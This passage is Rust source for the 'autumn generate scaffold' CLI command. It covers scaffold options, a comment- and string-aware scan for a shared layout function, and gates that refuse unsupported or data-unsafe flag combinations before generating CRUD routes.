//! `autumn generate scaffold` — full CRUD scaffold.
//!
//! Builds on top of [`model::plan_model`](super::model::plan_model) and adds:
//!
//! - A `#[repository(Model, api = "/api/<plural>")]` block for JSON reads/writes.
//! - HTML route handlers for `index`, `show`, `new_form`, `create`, `edit_form`,
//! and `update`, returning Maud `Markup`.
//! - A `tests/<snake>.rs` smoke test that asserts the index route returns 200.
//! - Updates to `src/main.rs` registering all new routes in `routes![ … ]`.
use std::collections::{BTreeMap, BTreeSet};
use std::fmt::Write as _;
use std::path::Path;
use autumn_web::config::DatabaseBackend;
use super::dsl::{
EncryptedMode, Field, FieldKind, IdType, parse_fields, randomized_equality_lookup_reason,
};
use super::emit::{Action, Plan, Revert};
use super::model::{
ModelOptions, augment_fields_for_soft_delete, field_by_name, parse_model_metadata_for,
plan_cargo_deps, plan_model_with_options,
};
use super::naming::{humanize_label, pascal, pluralize, snake};
use super::scaffold_i18n;
use super::schema_edit::{
add_mod_declaration, create_table_sql_with_metadata_and_id_for, ensure_autumn_web_feature,
ensure_dependency_feature, ensure_dev_dependency_test_support,
ensure_dev_dependency_tokio_test_features, unique_index_name, update_main_rs,
};
use super::{GenerateError, ensure_project_root, read_or_empty};
/// Extra dependencies the *scaffold* generator's output requires on top of
/// [`super::model::MODEL_DEPS`] — `maud` for HTML rendering and URL-encoded
/// form helpers for blank nullable-field normalization.
pub(super) const SCAFFOLD_EXTRA_DEPS: &[(&str, &str)] = &[
("maud", "{ version = \"0.27\", features = [\"axum\"] }"),
("serde_urlencoded", "\"0.7\""),
("url", "\"2\""),
];
/// Optional metadata applied by `autumn generate scaffold`.
#[derive(Debug, Clone, Default, PartialEq, Eq)]
#[allow(clippy::struct_excessive_bools)] // independent scaffold flags, not a state machine
pub struct ScaffoldOptions {
/// Model-level field metadata.
pub model: ModelOptions,
/// Repository derived-query specs in `method:field` form.
pub queries: Vec<String>,
/// Scaffold a JSON-only API resource.
pub api: bool,
/// Emit `broadcasts = true` on the repository, a `LiveFragment` impl,
/// an SSE events route, and an SSE-wired list container in the index view.
pub live: bool,
/// Emit per-field inline validation endpoints and `hx-post` attributes on
/// form inputs (requires `--live`).
pub live_validation: bool,
/// Opt out of generating a record-level authorization `Policy`/`Scope` for
/// the resource (issue #1125). `false` (the default) generates the policy,
/// registers it, and — when an owner column is detected on the standard
/// (non-live, non-sharded) path — authorizes the mutating HTML handlers and
/// scopes the index. `--api` scaffolds never generate a policy.
pub no_policy: bool,
/// Bind this resource to a parent as its child (issue #1323) —
/// `--belongs-to Post`. Names the parent in `PascalCase` or `snake_case`;
/// the foreign key is this scaffold's own `references` column targeting the
/// parent's table (`post:references` -> `post_id`).
///
/// `Some(parent)` adds a nested read route (`GET
/// /<parents>/{<fk>}/<children>`), a nested create route whose FK comes from
/// the path rather than the submitted body, a children list + inline create
/// form injected into the parent's generated `show` view, and back-links in
/// both directions. `None` (the default) keeps the flat, single-table
/// scaffold's output byte-for-byte unchanged.
pub belongs_to: Option<String>,
/// Maintain a `{child}_count` column on the parent (issue #1325) —
/// `--counter-cache`, which requires `--belongs-to`. Adds `counter_cache` to
/// the generated child model's `#[belongs_to(...)]` and a migration adding
/// `{child}_count BIGINT NOT NULL DEFAULT 0` to the parent's table.
pub counter_cache: bool,
/// Emit translatable views (issue #1349) — `--i18n`. Every user-facing
/// string in the generated HTML views (page titles, headings, buttons,
/// links, per-field labels) becomes a `t!(locale, "key")` lookup, each
/// view-rendering handler takes the `Locale` extractor, and the keys are
/// back-filled into `i18n/en.ftl` with their English values — so a
/// default-locale app renders exactly as it does without the flag, and
/// adding a locale is a `.ftl` file rather than a Rust edit.
///
/// `false` (the default) keeps the scaffold's output byte-for-byte
/// unchanged: [`super::scaffold_i18n::ViewLabels`] is an identity function
/// over the literal expressions the plain path emits.
pub i18n: bool,
/// Emit the CSV import surface (issue #1393) — `--import`. Adds a
/// `GET /{plural}/import` upload form and a `POST /{plural}/import`
/// handler that parses the uploaded multipart CSV, previews it with
/// `autumn_web::data::csv::import_csv` in `ImportMode::DryRun` unless the
/// submit explicitly confirms a commit, and renders the per-row
/// `ImportReport`. The confirmed commit writes through the repository's
/// `save_many_skip_invalid`.
///
/// The import decodes rows against the SAME `CsvSchema` impl the export
/// (issue #1315) emits — one column map for both directions — so it is
/// honoured exactly where that export is emitted, and warns (naming the
/// reason) where it is not.
///
/// `false` (the default) keeps the scaffold's output byte-for-byte
/// unchanged.
pub import: bool,
}
#[derive(Debug, Clone, PartialEq, Eq)]
struct QuerySpec {
method: String,
field_name: String,
rust_type: String,
}
/// Whether `src/main.rs` source (as generated by `autumn new`) exposes a
/// shared 4-arg `pub fn layout(...)` that the scaffold's generated routes can
/// render through via `crate::layout(title, current_path, flash, content)`.
///
/// The scan is lexically aware: a `pub fn layout` token that falls inside a
/// line comment (`//`), a (possibly nested) block comment (`/* ... */`), a
/// normal or raw string literal, or a char literal is ignored — only tokens in
/// real code count. This prevents both a *commented* example from falsely
/// satisfying the check and a commented decoy appearing before the real
/// definition from falsely rejecting it. ALL real candidates are considered
/// (not just the first), so any one genuine 4-arg `pub fn layout` accepts.
///
/// `layout` must be a complete token — the character after it is `(`, `<`, or
/// whitespace — so decoys like `pub fn layout_sidebar` are ignored. Malformed
/// input (unterminated paren/comment/string) simply contributes no arity.
pub fn has_shared_layout(main_src: &str) -> bool {
layout_param_counts(main_src).into_iter().any(|n| n == 4)
}
/// Collect the top-level parameter counts of every real (non-comment,
/// non-string) `pub fn layout(...)` token in `main_src`.
fn layout_param_counts(main_src: &str) -> Vec<usize> {
const NEEDLE: &[u8] = b"pub fn layout";
let bytes = main_src.as_bytes();
let mut counts = Vec::new();
let mut i = 0;
// Walk the source tracking lexical state so `pub fn layout` occurrences
// inside comments/strings/char literals are skipped. When in normal code,
// a needle match yields a candidate whose arity we parse.
while i < bytes.len() {
if bytes[i..].starts_with(NEEDLE) {
if let Some(count) = layout_arity_at(bytes, i + NEEDLE.len()) {
counts.push(count);
}
i += NEEDLE.len();
continue;
}
match bytes[i] {
// Line comment: skip to end of line.
b'/' if bytes.get(i + 1) == Some(&b'/') => {
i += 2;
while i < bytes.len() && bytes[i] != b'\n' {
i += 1;
}
}
// Block comment: Rust block comments nest, so track depth.
b'/' if bytes.get(i + 1) == Some(&b'*') => {
i += 2;
let mut depth = 1u32;
while i < bytes.len() && depth > 0 {
if bytes[i] == b'/' && bytes.get(i + 1) == Some(&b'*') {
depth += 1;
i += 2;
} else if bytes[i] == b'*' && bytes.get(i + 1) == Some(&b'/') {
depth -= 1;
i += 2;
} else {
i += 1;
}
}
}
// Raw string `r"..."` / `r#"..."#` (also byte variant `br...`).
b'r' | b'b' if is_raw_string_start(bytes, i) && !prev_is_ident_char(bytes, i) => {
i = skip_raw_string(bytes, i);
}
// Normal string literal (respecting `\"` escapes).
b'"' => {
i += 1;
while i < bytes.len() {
match bytes[i] {
b'\\' => i += 2,
b'"' => {
i += 1;
break;
}
_ => i += 1,
}
}
}
// Char literal `'x'` / `'\n'` — but not a lifetime like `'a`.
b'\'' => {
if bytes.get(i + 1) == Some(&b'\\') {
// Escaped char literal: skip to the closing quote.
i += 2;
while i < bytes.len() && bytes[i] != b'\'' {
i += 1;
}
i += 1;
} else if bytes.get(i + 2) == Some(&b'\'') {
i += 3;
} else {
// Lifetime or label: treat the quote as ordinary punctuation.
i += 1;
}
}
_ => i += 1,
}
}
counts
}
/// Whether a raw string literal begins at `start` (`r"`, `r#"`, `br"`, …).
pub(super) fn is_raw_string_start(bytes: &[u8], start: usize) -> bool {
let mut i = start;
if bytes.get(i) == Some(&b'b') {
i += 1;
}
if bytes.get(i) != Some(&b'r') {
return false;
}
i += 1;
while bytes.get(i) == Some(&b'#') {
i += 1;
}
bytes.get(i) == Some(&b'"')
}
/// Advance past a raw string literal beginning at `start`, matching the opening
/// hash count. Returns the index just past the closing delimiter (or the end of
/// input if the literal is unterminated).
pub(super) fn skip_raw_string(bytes: &[u8], start: usize) -> usize {
let mut i = start;
if bytes.get(i) == Some(&b'b') {
i += 1;
}
// `r`
i += 1;
let mut hashes = 0usize;
while bytes.get(i) == Some(&b'#') {
hashes += 1;
i += 1;
}
// Opening `"`
i += 1;
// Scan for the closing `"` followed by `hashes` `#`.
while i < bytes.len() {
if bytes[i] == b'"' {
let close = i + 1;
if close + hashes <= bytes.len()
&& bytes[close..close + hashes].iter().all(|&b| b == b'#')
{
return close + hashes;
}
}
i += 1;
}
bytes.len()
}
/// Whether the byte before `i` is an identifier-continuation char, used to
/// avoid mistaking a trailing `r`/`b` inside an identifier for a raw string.
const fn prev_is_ident_char(bytes: &[u8], i: usize) -> bool {
i > 0 && (bytes[i - 1].is_ascii_alphanumeric() || bytes[i - 1] == b'_')
}
/// Parse the top-level parameter count of a `pub fn layout` whose name ends at
/// `after_name` (the byte index just past `layout`).
///
/// Returns `None` when `layout` is not a complete token (the next char is an
/// identifier char, e.g. `layout_sidebar`) or the parameter list can't be
/// parsed (no matching close paren). Top-level parameters are counted by commas
/// not nested inside `(...)`, `[...]`, or `<...>`, so generic/tuple/array types
/// in a parameter don't inflate the count.
fn layout_arity_at(bytes: &[u8], after_name: usize) -> Option<usize> {
// `layout` must be a whole token: the following char is `(`, `<`, or
// whitespace, so `layout_sidebar` and similar decoys don't count.
match bytes.get(after_name) {
Some(b'(' | b'<') => {}
Some(c) if c.is_ascii_whitespace() => {}
_ => return None,
}
let mut i = after_name;
// Skip whitespace and an optional generic parameter block `<...>` that may
// precede the argument list.
while i < bytes.len() && bytes[i].is_ascii_whitespace() {
i += 1;
}
if i < bytes.len() && bytes[i] == b'<' {
let mut depth = 0i32;
while i < bytes.len() {
match bytes[i] {
b'<' => depth += 1,
b'>' => {
depth -= 1;
if depth == 0 {
i += 1;
break;
}
}
_ => {}
}
i += 1;
}
while i < bytes.len() && bytes[i].is_ascii_whitespace() {
i += 1;
}
}
// The argument list must open here.
if i >= bytes.len() || bytes[i] != b'(' {
return None;
}
// Walk to the matching `)`, counting commas that sit at the top level of
// the argument list (paren depth 1, no angle/bracket nesting).
let mut paren = 0i32;
let mut angle = 0i32;
let mut bracket = 0i32;
let mut commas = 0usize;
let mut saw_param = false;
let mut closed = false;
while i < bytes.len() {
match bytes[i] {
b'(' => paren += 1,
b')' => {
paren -= 1;
if paren == 0 {
closed = true;
break;
}
}
b'[' => bracket += 1,
b']' => bracket -= 1,
b'<' => angle += 1,
// Guard against `->` return arrows / comparison operators nested in
// a parameter type: only close an actually-open angle group.
b'>' if angle > 0 => angle -= 1,
b',' if paren == 1 && angle == 0 && bracket == 0 => commas += 1,
b' ' | b'\t' | b'\r' | b'\n' | b'>' => {}
_ => saw_param = true,
}
i += 1;
}
if !closed {
return None;
}
if !saw_param {
return Some(0);
}
Some(commas + 1)
}
/// Compute the file actions for `autumn generate scaffold`.
///
/// # Errors
/// Surfaces any planning error from the underlying [`plan_model`] call as
/// well as project-layout problems (missing `src/main.rs`).
#[cfg(test)]
pub fn plan_scaffold(
project_root: &Path,
name: &str,
field_tokens: &[String],
timestamp: &str,
) -> Result<Plan, GenerateError> {
plan_scaffold_with_options(
project_root,
name,
field_tokens,
timestamp,
&ScaffoldOptions::default(),
)
}
/// Compute the file actions for `autumn generate scaffold`, using optional
/// metadata flags.
///
/// # Errors
/// Surfaces any planning error from the underlying model generation as well
/// as project-layout, repository query, and metadata problems.
pub fn plan_scaffold_with_options(
project_root: &Path,
name: &str,
field_tokens: &[String],
timestamp: &str,
options: &ScaffoldOptions,
) -> Result<Plan, GenerateError> {
// Generation path: run the full plan, including the shared-layout preflight.
// `autumn destroy scaffold` recomputes the identical plan before reverting
// it, and must bypass that generate-only preflight (issue #1834); it reaches
// the builder through `plan_scaffold_with_options_for_revert` instead.
plan_scaffold_with_options_impl(project_root, name, field_tokens, timestamp, options, false)
}
/// Compute the file actions for `autumn destroy scaffold …`.
///
/// Identical to [`plan_scaffold_with_options`] except it recomputes the plan for
/// the revert path: it skips the generate-only shared-layout preflight so
/// cleanup still succeeds in a project whose shared `pub fn layout` is missing or
/// renamed (e.g. one scaffolded by an older CLI, or one whose `layout` was since
/// renamed). `autumn destroy scaffold` reverts the returned plan; the preflight
/// would otherwise hard-fail the destroy before any generated file is removed,
/// stranding the files it is meant to remove (issue #1834).
///
/// # Errors
/// Same as [`plan_scaffold_with_options`], minus the shared-layout preflight.
pub fn plan_scaffold_with_options_for_revert(
project_root: &Path,
name: &str,
field_tokens: &[String],
timestamp: &str,
options: &ScaffoldOptions,
) -> Result<Plan, GenerateError> {
plan_scaffold_with_options_impl(project_root, name, field_tokens, timestamp, options, true)
}
/// Shared implementation of [`plan_scaffold_with_options`]. `for_revert`
/// suppresses the generate-only shared-layout preflight so `autumn destroy
/// scaffold` (which recomputes this same plan before [`Plan::revert`]) can
/// remove generated files even in a project whose shared `pub fn layout` is
/// missing or renamed — a regression the preflight would otherwise introduce.
#[allow(clippy::too_many_lines)]
fn plan_scaffold_with_options_impl(
project_root: &Path,
name: &str,
field_tokens: &[String],
timestamp: &str,
options: &ScaffoldOptions,
for_revert: bool,
) -> Result<Plan, GenerateError> {
ensure_project_root(project_root)?;
// Selects the SQLite-vs-Postgres halves of the scaffold's output: the field
// Rust types, the dependency set, and `autumn-web`'s feature list (#1924).
let backend = super::detect_backend(project_root);
// Gate: UUID primary keys are not yet supported for scaffolds. Every scaffold
// emits a `#[autumn_web::repository]`, whose macro-generated REST API is
// currently hard-coded to `i64` primary keys (`Path<i64>`, `find_by_id`,
// cursor pagination), so a UUID-keyed scaffold would not compile. The model
// generator (`generate model --id uuid`) has no such limitation.
if options.model.id_type == IdType::Uuid {
return Err(GenerateError::Config(
"UUID primary keys are not yet supported for `generate scaffold`: the \
generated `#[repository]` REST API is currently limited to i64 primary \
keys. Use `generate model --id uuid` for the model and migration, or \
omit `--id` to use the default BIGSERIAL key."
.to_owned(),
));
}
let mut fields = parse_fields(field_tokens)?;
super::model::apply_unique_flags(&mut fields, &options.model.uniques)?;
// Gate (issue #1384): a `{translatable}` column holds a per-locale
// container, and the scaffold's CRUD form is a single plain text input
// bound to the whole column. Submitting it would REPLACE the container
// with one locale's value — silently destroying every other translation on
// the first edit — and the index/CSV/filter/sort paths would operate on
// the raw JSON. Editing translated content needs a per-locale form, which
// is translation-workflow UI and deliberately out of scope here. Refuse up
// front rather than emit a CRUD screen that eats data.
// `!for_revert`, like every other generation-only gate here: `autumn destroy
// scaffold` recomputes this plan before reverting it, and a refusal on that
// path would strand the very files the user asked to remove.
if let Some(f) = fields
.iter()
.filter(|_| !for_revert)
.find(|f| f.is_translatable())
{
return Err(GenerateError::Config(format!(
"a `{{translatable}}` field (`{}`) is not supported by `generate scaffold`: the \
generated CRUD form binds one plain text input to the whole per-locale container, \
so saving the form would replace every other locale's value. Use `generate model \
{name} {}:...{{translatable}} ...` (which emits the model, schema and migration) \
and write the per-locale edit view yourself — `post.title_localized()`, \
`post.available_locales(\"title\")` and `post.set_title(locale, value)` are \
generated for you.",
f.name, f.name
)));
}
if !options.api {
validate_enum_field_names_against_routes_imports(&fields, &pascal(name))?;
}
// Gate (issue #1260): a `slug` field reroutes the standard (non-`--api`)
// HTML `show`/`edit`/`update`/`delete` routes and their generated links to
// key off the slug instead of `id` (see `render_routes_file`'s
// `route_key`). That rekeying is only wired for the plain, non-`--live`,
// non-`--sharded`, non-attachment, non-state-machine path so far — refuse
// the unsupported combinations up front rather than emit routes that
// silently keep keying off `id` (or, worse, half-rekey and fail to
// compile).
if fields.iter().any(|f| f.kind.is_slug()) {
if options.live || options.live_validation {
return Err(GenerateError::Config(
"a `slug` field is not yet supported together with `--live`/`--live-validation`: \
the SSE live-list scaffold still keys its routes off `id`."
.to_owned(),
));
}
if options.model.sharded {
return Err(GenerateError::Config(
"a `slug` field is not yet supported together with `--sharded`: the sharded \
scaffold still keys its routes off `id`."
.to_owned(),
));
}
if has_attachment_fields(&fields) {
return Err(GenerateError::Config(
"a `slug` field is not yet supported alongside an `Attachment` field: the \
multipart create/update handlers still key their routes off `id`."
.to_owned(),
));
}
if fields.iter().any(|f| f.state_machine.is_some()) {
return Err(GenerateError::Config(
"a `slug` field is not yet supported alongside a `:states(...)` field: the \
transition handler still keys its route off `id`."
.to_owned(),
));
}
}
// Gate (#1349): `--i18n` rewrites the standard HTML views' strings into
// `t!(locale, "key")` lookups, which need a `Locale` extractor in scope at the render
// site. Two families of view code have no such scope:
//
// * `--live`/`--live-validation` render list rows from a `LiveFragment` impl driven
// by an SSE broadcast, so there is no request and no locale;
// * `--belongs-to` renders the child list and inline create form through the nested
// renderer, which splices markup into the parent resource's already-generated
// `show` handler, whose signature this generator does not own.
//
// Emitting half-translated views under a flag that promises translatable output is
// worse than refusing: the untranslated half surfaces only once someone adds a second
// locale. Same posture as the `slug` gates above.
//
// `for_revert` skips the gate so `autumn destroy scaffold` can still clean up a
// resource generated before the refusal existed (#1834). `--api` renders no labels,
// so `--i18n` is documented as a pure no-op there, which must include these refusals:
// otherwise `generate scaffold Common --api --i18n` fails while the identical `--api`
// scaffold succeeds, and a flag that changes nothing about the output would still
// change whether it is allowed to exist.
if !for_revert && options.i18n && !options.api {
let unsupported = if options.live {
Some((
"--live",
"the SSE live list renders its rows from a `LiveFragment` impl outside any \
request, so no `Locale` extractor is in scope",
))
} else if options.live_validation {
Some((
"--live-validation",
"the inline-validation fragments re-render single form controls outside the \
handlers that carry the `Locale` extractor",
))
} else if options.belongs_to.is_some() {
Some((
"--belongs-to",
"the nested child list and inline create form are spliced into the parent \
resource's already-generated `show` handler, whose signature this scaffold \
does not own",
))
} else {
None
};
if let Some((variant, why)) = unsupported {
return Err(GenerateError::Config(format!(
"`--i18n` is not yet supported together with `{variant}`: {why}. Drop \
`{variant}` to get translatable views, or drop `--i18n` to keep the \
English-only scaffold."
)));
}
// A resource named `Common` would key its labels under `common.*` — the
// same namespace the shared chrome block owns. Its keys would be written
// into both blocks, and `destroy`ing it would strip the chrome every
// OTHER resource is still referencing, so those resources stop
// compiling (`t!` validates key existence at compile time). Refuse the
// name rather than emit a bundle that breaks its neighbours.
if snake(name) == "common" {
return Err(GenerateError::Config(
"`--i18n` cannot scaffold a resource named `Common`: its translation keys would \
land under `common.*`, the namespace reserved for the shared chrome every \
scaffolded resource reuses — destroying it later would take that chrome down \
with it and break every other `--i18n` resource. Rename the resource (e.g. \
`CommonSetting`), or drop `--i18n`."
.to_owned(),
));
}
}
// Gate (#1318): a `lock_version` column rewrites the HTML `update` handler's write
// into a `WHERE lock_version = $expected` guarded statement and adds a 409 re-render
// branch. That rewrite is wired for the standard raw-diesel write only.
// `--live`/`--sharded` write through the repository extractor, and the attachment
// path writes after a multipart blob save; generating those would emit an edit form
// that looks concurrency-safe while the write still clobbers. Refuse the combination
// up front rather than ship silently lossy code, as the `slug` gates above do.
//
// `--api` is exempt outright, including `--api --live` and `--api --sharded`. Those
// variants change only the HTML surface, and an `--api` scaffold emits no routes file
// at all, so there is no form and no raw-diesel update to be inconsistent with. The
// model's `#[lock_version]` still lands, which is what makes the repository's own
// JSON update conflict-check. Refusing them would break combinations that generated
// fine before this feature existed.
//
// `for_revert` skips the whole gate: `autumn destroy scaffold` recomputes the plan it
// is about to revert, and a scaffold created before these refusals existed
// (`lock_version:i32 --live`, say) must still be removable. The refusal would fire
// during that recompute, before `Plan::revert` ever sees `--force`, and strand
// exactly the files the user asked to delete (#1834).
if !for_revert && !options.api && super::model::lock_version_field(&fields).is_some() {
// `--live-validation` is supported: it changes only how the form's
// controls are rendered (raw htmx inputs instead of `form_for`), while
// its `update` still writes through the same raw-diesel statement.
let unsupported = if options.live {
Some((
"--live",
"the SSE live scaffold writes through the repository extractor, not the \
guarded `diesel::update(...).filter(lock_version.eq(...))` statement",
"Drop `--live`",
))
} else if options.model.sharded {
Some((
"--sharded",
"the sharded scaffold writes through `Pg{Model}Repository::from_shard`, not \
the guarded `diesel::update(...).filter(lock_version.eq(...))` statement",
"Drop `--sharded`",
))
} else if has_attachment_fields(&fields) {
Some((
"an `attachment` field",
"the multipart update handler saves the blob before the row write, so a \
rejected stale submit would leave an orphaned upload behind",
"Drop the attachment column",
))
} else if fields.iter().any(|f| f.kind.is_slug()) {
// A slug scaffold keys its `update` off the slug, not the primary key
// (#1260), so the guarded statement would read `WHERE slug = $1 AND
// lock_version = $2`. That pair is not a stable row identity: the slug
// is editable and re-derivable, and every new row starts at version 0.
// Rename a row's slug, let a different row take the freed slug, and a
// stale submit against the old slug matches the new row at its default
// version — committing one author's edit over an unrelated record and
// reporting success. Keying the guard off the primary key is the real
// fix and needs the update handler to resolve the row first on every
// slug variant, including `--no-policy`, which loads nothing today.
// Refuse the pair until that lands.
Some((
"a `slug` column",
"a slug scaffold keys its update off the (editable, reusable) slug rather \
than the primary key, so `WHERE slug = ... AND lock_version = ...` does not \
identify a stable row — a renamed slug reclaimed by a new row would let a \
stale submit commit over that unrelated record",
"Drop the slug column (the scaffold keys off `id`)",
))
} else {
None
};
if let Some((variant, why, remedy)) = unsupported {
return Err(GenerateError::Config(format!(
"a `lock_version` column is not yet supported together with {variant}: {why}. \
{remedy} to get the conflict-aware edit form, or rename the `lock_version` \
column if optimistic locking was not intended."
)));
}
}
// Resolve shard key before planning the model (propagates to model render).
let resolved_shard_key = resolve_shard_key(&fields, &options.model)?;
let model_options_with_key = ModelOptions {
shard_key: resolved_shard_key,
..options.model.clone()
};
let options_with_key = ScaffoldOptions {
model: model_options_with_key,
queries: options.queries.clone(),
api: options.api,
live: options.live,
live_validation: options.live_validation,
no_policy: options.no_policy,
belongs_to: options.belongs_to.clone(),
counter_cache: options.counter_cache,
i18n: options.i18n,
import: options.import,
};
let mut plan = if for_revert {
super::model::plan_model_with_options_for_revert(
project_root,
name,
field_tokens,
timestamp,
&options_with_key.model,
)?
} else {
plan_model_with_options(
project_root,
name,
field_tokens,
timestamp,
&options_with_key.model,
)?
};
let mut metadata = parse_model_metadata_for(backend, &fields, &options_with_key.model)?;
// Issue #1367: see `model::plan_model` — `by` is emitted only when the
// author model it names is really there.
metadata.set_commentable_author(super::commentable::detect_author_model(project_root));
// A `--default field=value` column is dropped from `form_fields` (see
// below) and therefore from the generated `New{Pascal}` insert struct
// entirely (it's set at the SQL `DEFAULT` level instead) — a slug can't
// derive `from:` it, since the create handler's `new.{from}` wouldn't
// exist to read. dsl.rs's `validate_slug_fields` can't catch this itself:
// `--default` metadata isn't visible until here.
if let Some(slug) = fields.iter().find(|f| f.kind.is_slug())
&& let Some(from) = slug.constraints.from.as_deref()
&& metadata.defaults().contains_key(from)
{
return Err(GenerateError::Config(format!(
"slug field '{}' derives `from:{from}`, but '{from}' has a `--default` value and \
is dropped from the generated New{{Pascal}} insert struct — slug can't read it \
at create time",
slug.name
)));
}
let queries = parse_query_specs(&fields, &options_with_key.queries, for_revert, backend)?;
let form_fields = fields
.iter()
.filter(|field| !metadata.defaults().contains_key(&field.name))
.cloned()
.collect::<Vec<_>>();
// The equivalent guard for the insert struct (issue #1318) lives in
// `plan_model_with_options`, which the scaffold delegates to above — so a
// lock-only scaffold is refused before it reaches here, and `generate model`
// gets the same refusal without the scaffold planner having to be involved.
let pascal_name = pascal(name);
let snake_name = snake(name);
let plural = pluralize(&snake_name);
// ── Parent/child nesting (issue #1323) ─────────────────────────────────
// `--belongs-to Post` binds this resource to a parent: nested routes here,
// a children list + inline create form injected into the parent's own
// `show` view below. `None` for every flat scaffold, which keeps all of the
// emission below byte-for-byte what it was before this feature existed.
let nesting = super::nested::resolve(
project_root,
&plural,
&fields,
&options_with_key,
for_revert,
)?;
// #1349: the `--belongs-to` refusal above reads the command line, and the command
// line is not where a nesting necessarily comes from. `resolve` deliberately recovers
// the relationship from the markers in the parent's routes file when the flag is not
// repeated — the ordinary "I changed a field, re-scaffold it" run. Without this second
// gate, `generate … --force --i18n` on an existing child is accepted and emits nested
// views whose heading, empty state, add button, and parent backlink are still
// hardcoded English: exactly the half-translated module the refusal exists to prevent.
//
// Two gates rather than one moved gate. The early one needs no disk reads and fires
// on the typed flag even in a project where `resolve` would fail first for an
// unrelated reason — an unscaffolded parent, say — so the user hears about the
// combination they asked for rather than about a precondition they would then satisfy
// only to be refused anyway. This one is reachable only for a recovered nesting, and
// says so.
if !for_revert
&& options_with_key.i18n
&& !options_with_key.api
&& let Some(n) = nesting.as_ref()
{
return Err(GenerateError::Config(format!(
"`--i18n` is not yet supported for a nested resource, and {plural} is still nested \
under {parent}: src/routes/{parent}.rs renders their children section, which is \
where this run recovered the relationship from (`--belongs-to` is typed once, so \
a later `--force` rarely repeats it). The nested child list and inline create form \
are spliced into {parent}.rs's already-generated `show` handler, whose signature \
this scaffold does not own — so those views would stay hardcoded English while the \
rest of the module was translated. Drop `--i18n` to regenerate the nested scaffold \
as it is, or `autumn destroy scaffold {name} …` first (that removes the \
parent-side section from src/routes/{parent}.rs) and scaffold it flat with \
`--i18n`. Nothing has been written.",
parent = n.parent_plural,
)));
}
// ── Counter cache (issue #1325) ────────────────────────────────────────
// `--counter-cache` maintains `{parent}.{child}_count`. The maintenance is
// declared on the CHILD's `belongs_to`, so the flag only makes sense
// alongside `--belongs-to` — which is also what supplies the parent's name
// and table.
if options_with_key.counter_cache {
let Some(n) = nesting.as_ref() else {
return Err(GenerateError::Config(
"`--counter-cache` requires `--belongs-to <Parent>`: the counter is \
maintained by this resource's `belongs_to` leg, and the parent \
named there is the table the `{child}_count` column goes on"
.to_owned(),
));
};
// The migration actions go on the revert plan too — that is how
// `Plan::revert` finds the directory to remove. Only the follow-up
// warning is generate-only.
super::counter_cache::push_counter_cache_migration(
&mut plan,
project_root,
timestamp,
&snake_name,
&n.parent_plural,
);
if !for_revert {
super::counter_cache::push_counter_cache_warning(
&mut plan,
&snake_name,
&n.parent_pascal,
&n.parent_plural,
);
}
// Opt the generated child model in. The model file is an action this
// plan is about to create, so the attribute is added by rewriting that
// pending content rather than by touching the disk twice.
let model_path = project_root
.join("src")
.join("models")
.join(format!("{snake_name}.rs"));
for action in &mut plan.actions {
if let crate::generate::emit::Action::Create { path, contents } = action
&& path == &model_path
{
*contents = super::counter_cache::add_counter_cache_to_model_source(
contents,
&pascal_name,
&n.parent_pascal,
&n.parent_snake,
&n.parent_plural,
);
}
}
}
// ── Polymorphic comments (issue #1367) ─────────────────────────────────
// The model plan above adds the shared `comments` migration and its
// warnings. Do not add them again here.
// ── Record-level authorization (issue #1125) ───────────────────────────
// A policy is generated by default for every non-`--api` scaffold unless
// `--no-policy` is passed.
let policy_on = !options_with_key.api && !options_with_key.no_policy;
// Owner-column detection (AC3): drives the ownership check in the generated
// policy and the authorize/scope wiring in the HTML handlers.
let owner_column = {
let columns: Vec<String> = fields.iter().map(|f| f.name.clone()).collect();
let user_refs: Vec<String> = fields
.iter()
.filter(|f| f.kind.is_reference() && f.reference_table().as_deref() == Some("users"))
.map(|f| f.name.clone())
.collect();
super::policy::detect_owner_column(&columns, &user_refs).map(|name| {
// A nullable owner column (e.g. `user:references?`) is `Option<i64>`
// and must be compared option-to-option in the generated policy.
let nullable = fields
.iter()
.find(|f| f.name == name)
.is_some_and(|f| f.nullable);
super::policy::OwnerColumn { name, nullable }
})
};
// #1830: inline record-level authorization is emitted on every scaffold variant —
// standard, `--live`, `--sharded`, attachment — whenever a policy is generated,
// including the no-owner case. The per-variant plumbing differs (repository, raw
// diesel, or a reused attachment `State`) but every mutating handler loads its target
// row and record-authorizes the actor. Routing the mutation through the policy gives
// the developer one place to tighten the rule. The generated no-owner policy
// authorizes any authenticated user — no regression over the prior `#[secured]`-only
// handlers, which already let any authenticated user mutate any row (see `policy.rs`)
// — so a fresh no-owner scaffold never 403s out of the box.
let authorize_routes = policy_on;
// Whether the index is owner-scoped: only when an owner column exists. A
// no-owner scaffold authorizes its handlers but keeps the unscoped index
// (there is no column to filter on).
let owner_authorizes = policy_on && owner_column.is_some();
// The standard (non-live, non-sharded) diesel OWNER path. Retained as the
// signal for the cross-user 403 smoke test, which drives real HTTP create/
// update/delete as two users and is only meaningful with an owner column (the
// no-owner policy authorizes any authenticated user, so a cross-user denial
// would not hold) and only wired for the plain diesel path (the live SSE and
// sharded runtimes need extra harness the smoke test doesn't set up).
let authorize_wiring = owner_authorizes
&& !options_with_key.model.sharded
&& !options_with_key.live
&& !options_with_key.live_validation;
// #1841: owner-scoped full-text search is supported on the standard (non-live,
// non-sharded) Db path. The `#[repository(..., owner = <col>)]` attribute makes the
// macro emit an owner-filtered `search_page_scoped` and `list_scoped`, and the
// generated `GET /{plural}/search` plus owner-scoped index call only those scoped
// methods, never the unscoped `search_page`/`page`. So `--searchable` with owner
// scoping is safe there and no longer refused.
//
// The `--sharded` owner path is not yet wired: its index and search still run through
// per-shard raw diesel and the unscoped `search_page`, and a scoped cross-shard FTS
// is out of scope here. Search is force-disabled for `--live`/`--live-validation`
// (see `search_enabled`), so the only remaining unsafe combination is owner-scoped
// `--sharded --searchable` — keep refusing exactly that. Returns before the plan is
// built, so no files are written.
if !options_with_key.model.searchable.is_empty()
&& owner_authorizes
&& options_with_key.model.sharded
&& !options_with_key.live
&& !options_with_key.live_validation
{
return Err(GenerateError::Config(format!(
"`--searchable` is not yet supported for owner-scoped `--sharded` models: the \
sharded index/search run per-shard through the UNSCOPED `search_page`, so the \
generated `GET /{plural}/search` endpoint would expose other users' rows in the \
same shard that the `#[secured]` index view filters out (owner column `{owner}`). \
Drop `--sharded` (the standard Db path supports owner-scoped search), remove \
`--searchable`, drop the owner column, or pass `--no-policy` to opt out of owner \
scoping. Track: owner-scoped FTS for sharded repositories (follow-up to #1841).",
owner = owner_column.as_ref().map_or("user_id", |o| o.name.as_str()),
)));
}
// `references` columns whose target model cannot be found in the project, by the same
